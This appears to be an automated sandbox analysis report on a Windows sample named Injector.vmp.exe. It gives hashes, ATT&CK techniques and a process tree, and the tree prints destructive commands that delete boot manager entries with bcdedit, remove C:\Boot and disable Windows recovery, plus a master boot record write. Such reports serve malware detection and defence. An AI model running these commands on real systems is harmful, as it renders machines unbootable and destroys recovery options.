eef5bc422997334c207603e4780ff1b9a53c94babfadd5454a9fdf6e53c2b7b8

Analysis

max time kernel
149s
max time network
128s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/08/2026, 00:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Injector.vmp.exe
Size 13.3MB
Sample260817-a4gapazgng
SHA256 eef5bc422997334c207603e4780ff1b9a53c94babfadd5454a9fdf6e53c2b7b8
MD5 c821271e063ab6ede8919789b65478d2
SHA1 8fd6a8270ae8f6ddad4c458e142334d84a88c017
SHA512 6e5e836a5baf5a7cedf3dbea982dd0194023015bf47507778b59c111340f7295d2507dba6f1ee39f68a4281103e2382f73edc2e59a5716c6397b17ecf8be87ef
SSDEEP 196608:IKBPWyzkflodeYtHfDzZoCKbuYW3CypX2Oiqi+iHdiXOiLFcLqfzo7vcX+O4YOrP:hcADz6CWyt23gGhihcefzorFIO
TLSH
T1C5E6128564D092BCC8458678E2451AFDF0D97CCA8DF99926FFC748227A30D58C8F9B72
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

bootkit defense_evasion execution persistence

Malware Config

Signatures

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	Injector.vmp.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	Injector.vmp.exe

Modifies boot configuration data using bcdedit 3 IoCs

pid	Process
4232	bcdedit.exe
252	bcdedit.exe
4700	bcdedit.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	Injector.vmp.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1096	cmd.exe
5480	cmd.exe
3616	cmd.exe
1860	cmd.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4864	Injector.vmp.exe
4864	Injector.vmp.exe
4864	Injector.vmp.exe
4864	Injector.vmp.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeSystemEnvironmentPrivilege	4864	Injector.vmp.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 4864 wrote to memory of 1860	4864	Injector.vmp.exe	90
PID 1860 wrote to memory of 4232	1860	cmd.exe	92
PID 4864 wrote to memory of 1096	4864	Injector.vmp.exe	93
PID 1096 wrote to memory of 252	1096	cmd.exe	95
PID 4864 wrote to memory of 5480	4864	Injector.vmp.exe	96
PID 5480 wrote to memory of 4700	5480	cmd.exe	98
PID 4864 wrote to memory of 836	4864	Injector.vmp.exe	99
PID 4864 wrote to memory of 3616	4864	Injector.vmp.exe	101
PID 3616 wrote to memory of 2840	3616	cmd.exe	103

C:\Users\Admin\AppData\Local\Temp\Injector.vmp.exe
"C:\Users\Admin\AppData\Local\Temp\Injector.vmp.exe"
1⤵
- Maps connected drives based on registry
- Writes to the Master Boot Record (MBR)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4864
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {bootmgr} /f >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1860
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {bootmgr} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4232
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {current} /f >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1096
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {current} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:252
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {default} /f >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5480
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {default} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4700
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rmdir /s /q C:\Boot >nul 2>&1
  2⤵
  PID:836
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3616
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    - Drops file in Windows directory
    PID:2840